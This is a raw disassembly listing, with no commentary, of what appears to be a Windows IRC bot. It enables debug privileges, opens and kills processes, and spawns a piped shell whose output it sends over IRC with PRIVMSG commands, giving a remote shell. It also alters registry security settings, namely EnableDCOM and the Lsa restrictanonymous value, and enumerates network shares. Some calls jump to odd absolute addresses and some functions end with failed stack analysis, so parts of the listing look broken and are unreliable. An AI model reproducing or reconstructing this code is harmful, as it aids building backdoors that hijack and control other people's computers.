		mov	[ebp+var_354], ebx
		rep stosd
		jz	loc_4198BB
		cmp	dword_4CAF78, ebx
		jz	loc_4198BB
		cmp	dword_4CAE88, ebx
		jz	loc_4198BB
		push	1
		push	offset aSedebugprivile ; "SeDebugPrivilege"
		call	sub_419651
		pop	ecx
		pop	ecx
		push	ebx
		push	0Fh
		call	dword_4CAF94
		mov	edi, eax
		cmp	edi, 0FFFFFFFFh
		mov	[ebp+var_8], edi
		jz	loc_4198AE
		lea	eax, [ebp+var_130]
		mov	[ebp+var_130], 128h
		push	eax
		push	edi
		call	dword_4CAF78
		mov	esi, dword_427068
		test	eax, eax
		jz	loc_4198A9
		lea	eax, [ebp+var_130]
		push	eax
		push	edi
		call	dword_4CAE88
		test	eax, eax
		jz	loc_4198A9
		mov	edi, dword_427084
		mov	ebx, 1F0FFFh

loc_419780:				; CODE XREF: sub_4196BC+1E5j
		xor	eax, eax
		cmp	[ebp+arg_10], eax
		jz	short loc_4197E7
		mov	[ebp+var_4], offset off_4396C8

loc_41978E:				; CODE XREF: sub_4196BC+F3j
		mov	eax, [ebp+var_4]
		push	dword ptr [eax]
		lea	eax, [ebp+var_10C]
		push	eax
		call	near ptr 28110BCh
		nop
		test	eax, eax
		jz	short loc_4197B6
		add	[ebp+var_4], 4
		cmp	[ebp+var_4], offset dword_439728
		jb	short loc_41978E
		jmp	loc_41988F
; ---------------------------------------------------------------------------

loc_4197B6:				; CODE XREF: sub_4196BC+E6j
		push	[ebp+var_128]
		push	0
		push	ebx
		call	edi
		test	eax, eax
		mov	[ebp+var_4], eax
		jz	loc_41988F
		push	0
		push	eax
		call	near ptr 26F0C4Ah
		nop
		test	eax, eax
		jnz	loc_41988F

loc_4197DD:				; CODE XREF: sub_4196BC+1B9j
		push	[ebp+var_4]
		call	esi
		jmp	loc_41988F
; ---------------------------------------------------------------------------

loc_4197E7:				; CODE XREF: sub_4196BC+C9j
		cmp	[ebp+arg_C], eax
		jnz	loc_41987A
		cmp	[ebp+arg_4], eax
		jz	loc_41988F
		push	[ebp+var_128]
		push	8
		call	dword_4CAF94
		cmp	[ebp+arg_14], 0
		mov	[ebp+var_4], eax
		mov	[ebp+var_354], 224h
		jz	short loc_41983A
		lea	ecx, [ebp+var_354]
		push	ecx
		push	eax
		call	dword_4CAE34
		push	[ebp+var_128]
		test	eax, eax
		jz	short loc_419840
		lea	eax, [ebp+var_234]
		jmp	short loc_419846
; ---------------------------------------------------------------------------

loc_41983A:				; CODE XREF: sub_4196BC+15Cj
		push	[ebp+var_128]

loc_419840:				; CODE XREF: sub_4196BC+174j
		lea	eax, [ebp+var_10C]

loc_419846:				; CODE XREF: sub_4196BC+17Cj
		push	eax
		lea	eax, [ebp+var_554]
		push	offset aSD_0	; " %s (%d)"
		push	eax
		call	sub_41B886
		add	esp, 10h
		lea	eax, [ebp+var_554]
		push	1
		push	[ebp+arg_8]
		push	eax
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_409A72
		add	esp, 14h
		jmp	loc_4197DD
; ---------------------------------------------------------------------------

loc_41987A:				; CODE XREF: sub_4196BC+12Ej
		push	[ebp+arg_C]
		lea	eax, [ebp+var_10C]
		push	eax
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	short loc_4198C2

loc_41988F:				; CODE XREF: sub_4196BC+F5j
					; sub_4196BC+10Aj ...
		lea	eax, [ebp+var_130]
		push	eax
		push	[ebp+var_8]
		call	dword_4CAE88
		test	eax, eax
		jnz	loc_419780
		xor	ebx, ebx

loc_4198A9:				; CODE XREF: sub_4196BC+9Dj
					; sub_4196BC+B3j
		push	[ebp+var_8]
		call	esi

loc_4198AE:				; CODE XREF: sub_4196BC+77j
		push	ebx
		push	offset aSedebugprivile ; "SeDebugPrivilege"
		call	sub_419651
		pop	ecx
		pop	ecx

loc_4198BB:				; CODE XREF: sub_4196BC+3Aj
					; sub_4196BC+46j ...
		xor	eax, eax

loc_4198BD:				; CODE XREF: sub_4196BC+22Dj
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
; ---------------------------------------------------------------------------

loc_4198C2:				; CODE XREF: sub_4196BC+1D1j
		push	[ebp+var_128]
		push	0
		push	ebx
		call	edi
		push	[ebp+var_8]
		mov	edi, eax
		call	esi
		push	0
		push	edi
		nop
		call	near ptr 26F0C4Ah
		test	eax, eax
		jnz	short loc_4198E6
		push	edi
		call	esi
		jmp	short loc_4198BB
; ---------------------------------------------------------------------------

loc_4198E6:				; CODE XREF: sub_4196BC+223j
		push	1
		pop	eax
		jmp	short loc_4198BD
sub_4196BC	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4198EB	proc near		; DATA XREF: sub_401ACD+26CDo

var_298		= byte ptr -298h
var_98		= dword	ptr -98h
var_94		= byte ptr -94h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 298h
		mov	eax, [ebp+arg_0]
		push	esi
		push	edi
		push	26h
		pop	ecx
		mov	esi, eax
		lea	edi, [ebp+var_98]
		push	offset unk_4398C8
		rep movsd
		mov	dword ptr [eax+94h], 1
		lea	eax, [ebp+var_298]
		push	eax
		call	sub_41B886
		xor	esi, esi
		pop	ecx
		cmp	[ebp+var_8], esi
		pop	ecx
		jnz	short loc_41994A
		push	esi
		lea	eax, [ebp+var_298]
		push	[ebp+var_C]
		push	eax
		lea	eax, [ebp+var_94]
		push	eax
		push	[ebp+var_98]
		call	sub_409A72
		add	esp, 14h

loc_41994A:				; CODE XREF: sub_4198EB+3Dj
		push	[ebp+var_10]
		lea	eax, [ebp+var_94]
		push	esi
		push	esi
		push	[ebp+var_C]
		push	eax
		push	[ebp+var_98]
		call	sub_4196BC
		add	esp, 18h
		test	eax, eax
		jnz	short loc_419972
		push	offset unk_4398A4
		jmp	short loc_419977
; ---------------------------------------------------------------------------

loc_419972:				; CODE XREF: sub_4198EB+7Ej
		push	offset unk_439880

loc_419977:				; CODE XREF: sub_4198EB+85j
		lea	eax, [ebp+var_298]
		push	eax
		call	sub_41B886
		cmp	[ebp+var_8], esi
		pop	ecx
		pop	ecx
		jnz	short loc_4199AA
		push	esi
		lea	eax, [ebp+var_298]
		push	[ebp+var_C]
		push	eax
		lea	eax, [ebp+var_94]
		push	eax
		push	[ebp+var_98]
		call	sub_409A72
		add	esp, 14h

loc_4199AA:				; CODE XREF: sub_4198EB+9Dj
		lea	eax, [ebp+var_298]
		push	eax
		call	sub_4151AC
		push	[ebp+var_14]
		call	sub_40B412
		pop	ecx
		pop	ecx
		push	esi
		call	near ptr 26D0000h
		nop
		pop	edi
		pop	esi
sub_4198EB	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================



sub_4199C9	proc near		; CODE XREF: sub_401ACD+78B3p
					; sub_40B231+53p

arg_0		= dword	ptr  4

		push	esi
		push	edi
		push	1
		pop	edi
		push	[esp+8+arg_0]
		push	0
		push	1F0FFFh
		nop
		call	near ptr 2670284h
		mov	esi, eax
		test	esi, esi
		jz	short loc_4199FB
		push	0
		push	esi
		nop
		call	near ptr 26F0C4Ah
		test	eax, eax
		jnz	short loc_4199FB
		push	esi
		xor	edi, edi
		nop
		call	near ptr 26509C3h

loc_4199FB:				; CODE XREF: sub_4199C9+1Aj
					; sub_4199C9+27j
		mov	eax, edi
		pop	edi
		pop	esi
		retn
sub_4199C9	endp

; ---------------------------------------------------------------------------
dword_419A00	dd 6AF63356h, 56565601h, 0ADE85656h, 83FFFFFCh,	35FF18C4h
					; DATA XREF: ___:004015EEo
		dd 4396C4h, 7499E890h, 0E3EB0224h

; =============== S U B	R O U T	I N E =======================================



sub_419A20	proc near		; CODE XREF: sub_419A50+2Ap
					; sub_419A88+7Ep ...
		mov	eax, dword_4DB1F8
		push	esi
		mov	esi, dword_427068
		cmp	eax, 0FFFFFFFFh
		jz	short loc_419A34
		push	eax
		call	esi

loc_419A34:				; CODE XREF: sub_419A20+Fj
		mov	eax, dword_4DB200
		cmp	eax, 0FFFFFFFFh
		jz	short loc_419A41
		push	eax
		call	esi

loc_419A41:				; CODE XREF: sub_419A20+1Cj
		mov	eax, dword_4DB1F4
		cmp	eax, 0FFFFFFFFh
		jz	short loc_419A4E
		push	eax
		call	esi

loc_419A4E:				; CODE XREF: sub_419A20+29j
		pop	esi
		retn
sub_419A20	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_419A50	proc near		; CODE XREF: sub_401ACD+7604p

var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		push	ecx
		push	[ebp+arg_0]
		call	sub_41AFE0
		pop	ecx
		mov	[ebp+var_4], eax
		lea	ecx, [ebp+var_4]
		push	0
		push	ecx
		push	eax
		push	[ebp+arg_0]
		push	dword_4DB1FC
		nop
		call	near ptr 26E0000h
		test	eax, eax
		jnz	short loc_419A83
		call	sub_419A20
		xor	eax, eax
		leave
		retn
; ---------------------------------------------------------------------------

loc_419A83:				; CODE XREF: sub_419A50+28j
		push	1
		pop	eax
		leave
		retn
sub_419A50	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_419A88	proc near		; CODE XREF: sub_419B0F+D3p
					; sub_419B0F+F2p ...

var_200		= byte ptr -200h
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		sub	esp, 200h
		push	offset dword_43D128
		push	[ebp+arg_4]
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	short loc_419ACB
		push	7D0h
		nop
		call	near ptr 2660EB7h
		push	[ebp+arg_8]
		lea	eax, [ebp+var_200]
		push	[ebp+arg_4]
		push	offset aPrivmsgSS ; "PRIVMSG %s	:%s\r"
		push	eax
		call	sub_41B886
		add	esp, 10h
		jmp	short loc_419AE2
; ---------------------------------------------------------------------------

loc_419ACB:				; CODE XREF: sub_419A88+1Aj
		push	[ebp+arg_8]
		lea	eax, [ebp+var_200]
		push	offset aS_1	; "%s"
		push	eax
		call	sub_41B886
		add	esp, 0Ch

loc_419AE2:				; CODE XREF: sub_419A88+41j
		lea	eax, [ebp+var_200]
		push	0
		push	eax
		call	sub_41AFE0
		pop	ecx
		push	eax
		lea	eax, [ebp+var_200]
		push	eax
		push	[ebp+arg_0]
		call	dword_4CAFC4
		test	eax, eax
		jg	short loc_419B0B
		call	sub_419A20

loc_419B0B:				; CODE XREF: sub_419A88+7Cj
		xor	eax, eax
		leave
		retn
sub_419A88	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_419B0F	proc near		; DATA XREF: sub_419C64+170o

var_20C		= byte ptr -20Ch
var_C		= byte ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 20Ch
		push	ebx
		push	esi
		push	edi
		mov	esi, 200h
		xor	edi, edi
		mov	ebx, offset dword_4DB204

loc_419B27:				; CODE XREF: sub_419B0F+79j
					; sub_419B0F+DBj
		push	esi
		lea	eax, [ebp+var_20C]
		push	edi
		push	eax
		call	sub_41B590
		add	esp, 0Ch
		lea	eax, [ebp+var_4]
		push	edi
		push	edi
		push	eax
		lea	eax, [ebp+var_20C]
		push	esi
		push	eax
		push	dword_4DB1F8
		nop
		call	near ptr 28119E0h
		test	eax, eax
		jz	loc_419BF5
		cmp	[ebp+var_4], edi
		jnz	short loc_419B8A
		lea	eax, [ebp+var_8]
		push	eax
		push	dword_4DB1F4
		nop
		call	near ptr 2811522h
		test	eax, eax
		jz	short loc_419B80
		cmp	[ebp+var_8], 103h
		jnz	loc_419C19

loc_419B80:				; CODE XREF: sub_419B0F+62j
		push	0Ah
		nop
		call	near ptr 2660EB7h
		jmp	short loc_419B27
; ---------------------------------------------------------------------------

loc_419B8A:				; CODE XREF: sub_419B0F+4Ej
		xor	eax, eax
		cmp	[ebp+var_4], edi
		jbe	short loc_419BA1

loc_419B91:				; CODE XREF: sub_419B0F+90j
		cmp	[ebp+eax+var_20C], 0Ah
		jz	short loc_419BEF
		inc	eax
		cmp	eax, [ebp+var_4]
		jb	short loc_419B91

loc_419BA1:				; CODE XREF: sub_419B0F+80j
		mov	[ebp+var_4], esi

loc_419BA4:				; CODE XREF: sub_419B0F+E4j
		push	esi
		lea	eax, [ebp+var_20C]
		push	edi
		push	eax
		call	sub_41B590
		add	esp, 0Ch
		lea	eax, [ebp+var_C]
		push	edi
		push	eax
		push	[ebp+var_4]
		lea	eax, [ebp+var_20C]
		push	eax
		push	dword_4DB1F8
		nop
		call	near ptr 26F0000h
		test	eax, eax
		jz	short loc_419C41
		lea	eax, [ebp+var_20C]
		push	eax
		push	ebx
		push	dword_4DB238
		call	sub_419A88
		add	esp, 0Ch
		jmp	loc_419B27
; ---------------------------------------------------------------------------

loc_419BEF:				; CODE XREF: sub_419B0F+8Aj
		inc	eax
		mov	[ebp+var_4], eax
		jmp	short loc_419BA4
; ---------------------------------------------------------------------------

loc_419BF5:				; CODE XREF: sub_419B0F+45j
		push	offset unk_439950
		push	ebx
		push	dword_4DB238
		call	sub_419A88
		push	[ebp+arg_0]
		call	sub_40B412
		add	esp, 10h
		push	1
		nop
		call	near ptr 26D0000h

loc_419C19:				; CODE XREF: sub_419B0F+6Bj
		call	sub_419A20
		push	offset unk_439928
		push	ebx
		push	dword_4DB238
		call	sub_419A88
		push	[ebp+arg_0]
		call	sub_40B412
		add	esp, 10h
		push	edi
		nop
		call	near ptr 26D0000h

loc_419C41:				; CODE XREF: sub_419B0F+C3j
		push	offset unk_4398F8
		push	ebx
		push	dword_4DB238
		call	sub_419A88
		push	[ebp+arg_0]
		call	sub_40B412
		add	esp, 10h
		push	edi
		nop
		call	near ptr 26D0000h
sub_419B0F	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_419C64	proc near		; CODE XREF: sub_401ACD+2507p

var_378		= byte ptr -378h
var_178		= byte ptr -178h
var_74		= dword	ptr -74h
var_48		= dword	ptr -48h
var_44		= word ptr -44h
var_3C		= dword	ptr -3Ch
var_38		= dword	ptr -38h
var_34		= dword	ptr -34h
var_30		= byte ptr -30h
var_2C		= dword	ptr -2Ch
var_28		= dword	ptr -28h
var_24		= dword	ptr -24h
var_1C		= dword	ptr -1Ch
var_18		= dword	ptr -18h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		sub	esp, 378h
		push	ebx
		push	esi
		push	edi
		call	sub_419A20
		xor	esi, esi
		lea	eax, [ebp+var_178]
		push	esi
		push	eax
		push	104h
		push	esi
		push	offset dword_433514
		push	esi
		call	dword_4CB030
		test	eax, eax
		jz	loc_419D5E
		push	1
		lea	eax, [ebp+var_1C]
		pop	ebx
		mov	edi, dword_4270FC
		push	esi
		push	eax
		lea	eax, [ebp+var_C]
		mov	[ebp+var_1C], 0Ch
		push	eax
		lea	eax, [ebp+var_10]
		push	eax
		mov	[ebp+var_14], ebx
		mov	[ebp+var_18], esi
		call	edi
		test	eax, eax
		jz	loc_419D5E
		lea	eax, [ebp+var_1C]
		push	esi
		push	eax
		lea	eax, [ebp+var_8]
		push	eax
		lea	eax, [ebp+var_4]
		push	eax
		call	edi
		test	eax, eax
		jz	loc_419D5E
		mov	edi, dword_4270F8
		push	3
		push	esi
		push	esi
		push	offset dword_4DB1FC
		call	edi
		push	eax
		push	[ebp+var_8]
		call	edi
		push	eax
		nop
		call	near ptr 2700000h
		test	eax, eax
		jz	short loc_419D5E
		push	10h
		lea	eax, [ebp+var_2C]
		push	esi
		push	eax
		call	sub_41B590
		push	44h
		lea	eax, [ebp+var_74]
		pop	edi
		push	edi
		push	esi
		push	eax
		call	sub_41B590
		mov	eax, [ebp+var_4]
		add	esp, 18h
		mov	[ebp+var_3C], eax
		mov	eax, [ebp+var_C]
		mov	[ebp+var_38], eax
		mov	[ebp+var_34], eax
		lea	eax, [ebp+var_2C]
		mov	[ebp+var_74], edi
		push	eax
		lea	eax, [ebp+var_74]
		push	eax
		push	esi
		push	esi
		push	esi
		push	ebx
		push	esi
		mov	ebx, offset dword_43D128
		push	esi
		lea	eax, [ebp+var_178]
		push	ebx
		push	eax
		mov	[ebp+var_48], 101h
		mov	[ebp+var_44], si
		nop
		call	near ptr 2650CD4h
		test	eax, eax
		jnz	short loc_419D66

loc_419D5E:				; CODE XREF: sub_419C64+2Fj
					; sub_419C64+5Cj ...
		or	eax, 0FFFFFFFFh
		jmp	loc_419E14
; ---------------------------------------------------------------------------

loc_419D66:				; CODE XREF: sub_419C64+F8j
		push	[ebp+var_4]
		mov	edi, dword_427068
		call	edi
		mov	eax, [ebp+var_10]
		push	[ebp+var_28]
		mov	dword_4DB1F8, eax
		mov	eax, [ebp+var_8]
		mov	dword_4DB200, eax
		mov	eax, [ebp+var_2C]
		mov	dword_4DB1F4, eax
		call	edi
		mov	eax, [ebp+arg_0]
		cmp	[ebp+arg_4], esi
		mov	dword_4DB238, eax
		jz	short loc_419DA0
		push	[ebp+arg_4]
		jmp	short loc_419DA1
; ---------------------------------------------------------------------------

loc_419DA0:				; CODE XREF: sub_419C64+135j
		push	ebx

loc_419DA1:				; CODE XREF: sub_419C64+13Aj
		push	offset dword_4DB204
		call	sub_41B886
		pop	ecx
		pop	ecx
		push	esi
		push	0Ah
		push	offset unk_4399B4
		call	sub_40B0F6
		mov	edi, eax
		mov	ecx, [ebp+var_24]
		imul	edi, 234h
		add	esp, 0Ch
		mov	dword_43DEB8[edi], ecx
		lea	ecx, [ebp+var_30]
		push	ecx
		push	esi
		push	eax
		push	offset sub_419B0F
		push	esi
		push	esi
		nop
		call	near ptr 2670000h
		cmp	eax, esi
		mov	dword_43DEC4[edi], eax
		jnz	short loc_419E12
		nop
		call	near ptr 267084Ch
		push	eax
		lea	eax, [ebp+var_378]
		push	offset unk_439980
		push	eax
		call	sub_41B886
		lea	eax, [ebp+var_378]
		push	eax
		call	sub_4151AC
		add	esp, 10h

loc_419E12:				; CODE XREF: sub_419C64+185j
		xor	eax, eax

loc_419E14:				; CODE XREF: sub_419C64+FDj
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_419C64	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_419E19	proc near		; DATA XREF: sub_401ACD+2E0Bo

var_98		= dword	ptr -98h
var_94		= byte ptr -94h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 98h
		mov	eax, [ebp+arg_0]
		push	esi
		push	edi
		push	26h
		pop	ecx
		mov	esi, eax
		lea	edi, [ebp+var_98]
		rep movsd
		pop	edi
		pop	esi
		push	[ebp+var_8]
		cmp	[ebp+var_10], 0
		mov	dword ptr [eax+94h], 1
		lea	eax, [ebp+var_94]
		push	[ebp+var_C]
		push	eax
		push	[ebp+var_98]
		jz	short loc_419E60
		call	sub_419E79
		jmp	short loc_419E65
; ---------------------------------------------------------------------------

loc_419E60:				; CODE XREF: sub_419E19+3Ej
		call	sub_41A19D

loc_419E65:				; CODE XREF: sub_419E19+45j
		add	esp, 10h
		push	[ebp+var_14]
		call	sub_40B412
		pop	ecx
		push	0
		call	near ptr 26D0000h
		nop
sub_419E19	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_419E79	proc near		; CODE XREF: sub_419E19+40p

var_214		= byte ptr -214h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h

		push	ebp
		mov	ebp, esp
		sub	esp, 214h
		push	esi
		push	edi
		xor	edi, edi
		cmp	dword_4CB044, edi
		jnz	loc_419FAB
		lea	eax, [ebp+var_4]
		mov	esi, 80000002h
		push	eax
		push	2001Fh
		push	edi
		push	offset aSoftwareMicros ; "Software\\Microsoft\\OLE"
		push	esi
		call	dword_4CAFE4
		test	eax, eax
		jnz	short loc_419F04
		mov	ax, word_43872C
		mov	word ptr [ebp+var_8+2],	ax
		lea	eax, [ebp+var_8+2]
		push	eax
		call	sub_41AFE0
		pop	ecx
		push	eax
		lea	eax, [ebp+var_8+2]
		push	eax
		push	1
		push	edi
		push	offset aEnabledcom ; "EnableDCOM"
		push	[ebp+var_4]
		call	dword_4CAF98
		test	eax, eax
		jz	short loc_419EE6
		push	offset dword_439C50
		jmp	short loc_419EEB
; ---------------------------------------------------------------------------

loc_419EE6:				; CODE XREF: sub_419E79+64j
		push	offset dword_439C30

loc_419EEB:				; CODE XREF: sub_419E79+6Bj
		lea	eax, [ebp+var_214]
		push	eax
		call	sub_41B886
		pop	ecx
		pop	ecx
		push	[ebp+var_4]
		call	dword_4CAF50
		jmp	short loc_419F17
; ---------------------------------------------------------------------------

loc_419F04:				; CODE XREF: sub_419E79+36j
		lea	eax, [ebp+var_214]
		push	offset dword_439C00
		push	eax
		call	sub_41B886
		pop	ecx
		pop	ecx

loc_419F17:				; CODE XREF: sub_419E79+89j
		cmp	[ebp+arg_C], edi
		jnz	short loc_419F36
		push	1
		lea	eax, [ebp+var_214]
		push	[ebp+arg_8]
		push	eax
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_409A72
		add	esp, 14h

loc_419F36:				; CODE XREF: sub_419E79+A1j
		lea	eax, [ebp+var_214]
		push	eax
		call	sub_4151AC
		pop	ecx
		lea	eax, [ebp+var_4]
		push	eax
		push	0F003Fh
		push	edi
		push	offset aSystemCurrentc ; "SYSTEM\\CurrentControlSet\\Control\\Lsa"
		push	esi
		call	dword_4CAFE4
		test	eax, eax
		jnz	short loc_419FA4
		lea	eax, [ebp+var_8]
		push	4
		push	eax
		push	4
		push	edi
		push	offset aRestrictanonym ; "restrictanonymous"
		push	[ebp+var_4]
		mov	[ebp+var_8], 1
		call	dword_4CAF98
		test	eax, eax
		jz	short loc_419F86
		push	offset dword_439BB0
		jmp	short loc_419F8B
; ---------------------------------------------------------------------------

loc_419F86:				; CODE XREF: sub_419E79+104j
		push	offset dword_439B7C

loc_419F8B:				; CODE XREF: sub_419E79+10Bj
		lea	eax, [ebp+var_214]
		push	eax
		call	sub_41B886
		pop	ecx
		pop	ecx
		push	[ebp+var_4]
		call	dword_4CAF50
		jmp	short loc_419FBE
; ---------------------------------------------------------------------------

loc_419FA4:				; CODE XREF: sub_419E79+E2j
		push	offset dword_439B40
		jmp	short loc_419FB0
; ---------------------------------------------------------------------------

loc_419FAB:				; CODE XREF: sub_419E79+13j
		push	offset dword_439B10

loc_419FB0:				; CODE XREF: sub_419E79+130j
		lea	eax, [ebp+var_214]
		push	eax
		call	sub_41B886
		pop	ecx
		pop	ecx

loc_419FBE:				; CODE XREF: sub_419E79+129j
		cmp	[ebp+arg_C], edi
		jnz	short loc_419FDD
		push	1
		lea	eax, [ebp+var_214]
		push	[ebp+arg_8]
		push	eax
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_409A72
		add	esp, 14h

loc_419FDD:				; CODE XREF: sub_419E79+148j
		lea	eax, [ebp+var_214]
		push	eax
		call	sub_4151AC
		cmp	dword_4CB06C, edi
		pop	ecx
		jnz	loc_41A158
		push	ebx
		mov	[ebp+var_4], edi
		mov	[ebp+var_14], edi
		mov	[ebp+var_C], edi

loc_41A000:				; CODE XREF: sub_419E79+2C3j
		lea	eax, [ebp+var_C]
		push	eax
		lea	eax, [ebp+var_14]
		push	eax
		lea	eax, [ebp+var_4]
		push	eax
		lea	eax, [ebp+var_8]
		push	0FFFFFFFFh
		push	eax
		push	1F6h
		push	edi
		call	dword_4CAEB8
		cmp	eax, edi
		mov	[ebp+var_10], eax
		jz	short loc_41A09D
		cmp	eax, 0EAh
		jz	short loc_41A09D
		mov	esi, offset off_4399D8

loc_41A031:				; CODE XREF: sub_419E79+21Dj
		push	dword ptr [esi]
		push	edi
		call	sub_418C6B
		pop	ecx
		pop	ecx
		push	dword ptr [esi]
		test	eax, eax
		jnz	short loc_41A048
		push	offset dword_439AEC
		jmp	short loc_41A04D
; ---------------------------------------------------------------------------

loc_41A048:				; CODE XREF: sub_419E79+1C6j
		push	offset dword_439AC0

loc_41A04D:				; CODE XREF: sub_419E79+1CDj
		lea	eax, [ebp+var_214]
		push	200h
		push	eax
		call	sub_41B980
		add	esp, 10h
		cmp	[ebp+arg_C], edi
		jnz	short loc_41A080
		push	1
		lea	eax, [ebp+var_214]
		push	[ebp+arg_8]
		push	eax
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_409A72
		add	esp, 14h

loc_41A080:				; CODE XREF: sub_419E79+1EBj
		lea	eax, [ebp+var_214]
		push	eax
		call	sub_4151AC
		add	esi, 8
		pop	ecx
		cmp	esi, offset dword_4399F8
		jb	short loc_41A031
		jmp	loc_41A135
; ---------------------------------------------------------------------------

loc_41A09D:				; CODE XREF: sub_419E79+1AAj
					; sub_419E79+1B1j
		mov	esi, [ebp+var_8]
		push	1
		pop	ebx
		cmp	[ebp+var_4], ebx
		jb	loc_41A12C

loc_41A0AC:				; CODE XREF: sub_419E79+2AFj
		mov	edi, [esi]
		push	edi
		call	sub_41D817
		cmp	word ptr [edi+eax*2-2],	24h
		pop	ecx
		jnz	short loc_41A121
		push	edi
		call	sub_418B58
		push	eax
		push	0
		call	sub_418C6B
		add	esp, 0Ch
		push	dword ptr [esi]
		test	eax, eax
		jnz	short loc_41A0DB
		push	offset dword_439A9C
		jmp	short loc_41A0E0
; ---------------------------------------------------------------------------

loc_41A0DB:				; CODE XREF: sub_419E79+259j
		push	offset dword_439A70

loc_41A0E0:				; CODE XREF: sub_419E79+260j
		lea	eax, [ebp+var_214]
		push	200h
		push	eax
		call	sub_41B980
		add	esp, 10h
		cmp	[ebp+arg_C], 0
		jnz	short loc_41A114
		push	1
		lea	eax, [ebp+var_214]
		push	[ebp+arg_8]
		push	eax
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_409A72
		add	esp, 14h

loc_41A114:				; CODE XREF: sub_419E79+27Fj
		lea	eax, [ebp+var_214]
		push	eax
		call	sub_4151AC
		pop	ecx

loc_41A121:				; CODE XREF: sub_419E79+242j
		add	esi, 28h
		inc	ebx
		cmp	ebx, [ebp+var_4]
		jbe	short loc_41A0AC
		xor	edi, edi

loc_41A12C:				; CODE XREF: sub_419E79+22Dj
		push	[ebp+var_8]
		call	dword_4CB004

loc_41A135:				; CODE XREF: sub_419E79+21Fj
		cmp	[ebp+var_10], 0EAh
		jz	loc_41A000
		lea	eax, [ebp+var_214]
		push	offset dword_439A48
		push	eax
		call	sub_41B886
		pop	ecx
		pop	ecx
		pop	ebx
		jmp	short loc_41A16B
; ---------------------------------------------------------------------------

loc_41A158:				; CODE XREF: sub_419E79+177j
		lea	eax, [ebp+var_214]
		push	offset dword_439A18
		push	eax
		call	sub_41B886
		pop	ecx
		pop	ecx

loc_41A16B:				; CODE XREF: sub_419E79+2DDj
		cmp	[ebp+arg_C], edi
		jnz	short loc_41A189
		push	edi
		lea	eax, [ebp+var_214]
		push	[ebp+arg_8]
		push	eax
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_409A72
		add	esp, 14h

loc_41A189:				; CODE XREF: sub_419E79+2F5j
		lea	eax, [ebp+var_214]
		push	eax
		call	sub_4151AC
		pop	ecx
		push	1
		pop	eax
		pop	edi
		pop	esi
		leave
		retn
sub_419E79	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41A19D	proc near		; CODE XREF: sub_419E19:loc_419E60p

var_220		= byte ptr -220h
var_20		= byte ptr -20h
var_14		= byte ptr -14h
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h

		push	ebp
		mov	ebp, esp
		sub	esp, 220h
		push	ebx
		xor	ebx, ebx
		cmp	dword_4CB044, ebx
		push	esi
		jnz	loc_41A2CB
		lea	eax, [ebp+var_4]
		mov	esi, 80000002h
		push	eax
		push	2001Fh
		push	ebx
		push	offset aSoftwareMicros ; "Software\\Microsoft\\OLE"
		push	esi
		call	dword_4CAFE4
		test	eax, eax
		jnz	short loc_41A228
		mov	ax, word_438770
		mov	word ptr [ebp+var_8+2],	ax
		lea	eax, [ebp+var_8+2]
		push	eax
		call	sub_41AFE0
		pop	ecx
		push	eax
		lea	eax, [ebp+var_8+2]
		push	eax
		push	1
		push	ebx
		push	offset aEnabledcom ; "EnableDCOM"
		push	[ebp+var_4]
		call	dword_4CAF98
		test	eax, eax
		jz	short loc_41A20A
		push	offset dword_439DC8
		jmp	short loc_41A20F
; ---------------------------------------------------------------------------

loc_41A20A:				; CODE XREF: sub_41A19D+64j
		push	offset dword_439DAC

loc_41A20F:				; CODE XREF: sub_41A19D+6Bj
		lea	eax, [ebp+var_220]
		push	eax
		call	sub_41B886
		pop	ecx
		pop	ecx
		push	[ebp+var_4]
		call	dword_4CAF50
		jmp	short loc_41A23B
; ---------------------------------------------------------------------------

loc_41A228:				; CODE XREF: sub_41A19D+36j
		lea	eax, [ebp+var_220]
		push	offset dword_439C00
		push	eax
		call	sub_41B886
		pop	ecx
		pop	ecx

